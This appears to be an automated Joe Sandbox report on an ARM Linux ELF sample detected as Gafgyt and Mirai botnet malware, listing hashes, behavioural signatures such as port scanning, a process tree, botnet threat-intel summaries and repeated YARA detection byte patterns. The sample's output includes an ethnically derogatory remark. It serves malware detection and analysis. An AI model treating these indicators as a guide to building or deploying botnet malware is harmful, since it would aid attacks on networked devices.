Edit tour

Linux Analysis Report
vcimanagement.armv7l.elf

Overview

General Information

Sample name:	vcimanagement.armv7l.elf
Analysis ID:	1582363
MD5:	1e69e0298d555e40144de7e2c620a70f
SHA1:	ce97619614500791f6f25e1a35660860fb6a810c
SHA256:	62520cfd3234028d0b5d824b73c9db271843424e4cfa78e9931f06fd290f747e
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Opens /proc/net/* files useful for finding connected devices and routers

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are user agent strings indicative of HTTP manipulation

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582363
Start date and time:	2024-12-30 11:57:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	vcimanagement.armv7l.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@2/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Reached maximum number of 1000 Suricata alerts, please consult the 'Suricata Logs'
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/vcimanagement.armv7l.elf
PID:	5429
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate alot
Standard Error:

Process Tree

system is lnxubuntu20

vcimanagement.armv7l.elf (PID: 5429, Parent: 5354, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/vcimanagement.armv7l.elf

vcimanagement.armv7l.elf New Fork (PID: 5431, Parent: 5429)

vcimanagement.armv7l.elf New Fork (PID: 5433, Parent: 5429)

vcimanagement.armv7l.elf New Fork (PID: 5435, Parent: 5429)

vcimanagement.armv7l.elf New Fork (PID: 5451, Parent: 5435)

vcimanagement.armv7l.elf New Fork (PID: 5453, Parent: 5451)

vcimanagement.armv7l.elf New Fork (PID: 5436, Parent: 5429)

vcimanagement.armv7l.elf New Fork (PID: 5439, Parent: 5436)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
vcimanagement.armv7l.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
vcimanagement.armv7l.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
vcimanagement.armv7l.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
vcimanagement.armv7l.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
vcimanagement.armv7l.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1aaf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aba8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abe4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abf8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
vcimanagement.armv7l.elf	Linux_Trojan_Gafgyt_6a510422	unknown	unknown	0x3b0e:$a: 0B E5 24 30 1B E5 2C 30 0B E5 1C 00 00 EA 18 30 1B E5 00 30
vcimanagement.armv7l.elf	Linux_Trojan_Gafgyt_d2953f92	unknown	unknown	0x3a1e:$a: 1B E5 2A 00 53 E3 0A 00 00 0A 30 30 1B E5 3F 00 53 E3 23 00
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5429.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5429.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5429.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5429.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1aaf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aba8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abe4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abf8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5429.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_6a510422	unknown	unknown	0x3b0e:$a: 0B E5 24 30 1B E5 2C 30 0B E5 1C 00 00 EA 18 30 1B E5 00 30
5429.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_d2953f92	unknown	unknown	0x3a1e:$a: 1B E5 2A 00 53 E3 0A 00 00 0A 30 30 1B E5 3F 00 53 E3 23 00
5451.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5451.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5451.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5451.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1aaf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aba8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abe4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abf8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5451.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_6a510422	unknown	unknown	0x3b0e:$a: 0B E5 24 30 1B E5 2C 30 0B E5 1C 00 00 EA 18 30 1B E5 00 30
5451.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_d2953f92	unknown	unknown	0x3a1e:$a: 1B E5 2A 00 53 E3 0A 00 00 0A 30 30 1B E5 3F 00 53 E3 23 00
5431.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5431.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5431.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5431.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1aaf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aba8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abe4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abf8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5431.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_6a510422	unknown	unknown	0x3b0e:$a: 0B E5 24 30 1B E5 2C 30 0B E5 1C 00 00 EA 18 30 1B E5 00 30
5431.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_d2953f92	unknown	unknown	0x3a1e:$a: 1B E5 2A 00 53 E3 0A 00 00 0A 30 30 1B E5 3F 00 53 E3 23 00
5435.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5435.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5435.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5435.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1aaf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aba8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abe4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abf8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5435.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_6a510422	unknown	unknown	0x3b0e:$a: 0B E5 24 30 1B E5 2C 30 0B E5 1C 00 00 EA 18 30 1B E5 00 30
5435.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_d2953f92	unknown	unknown	0x3a1e:$a: 1B E5 2A 00 53 E3 0A 00 00 0A 30 30 1B E5 3F 00 53 E3 23 00
5436.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5436.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5436.1.00007f9088017000.00007f9088035000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5436.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1aaf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aba8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abe4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abf8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
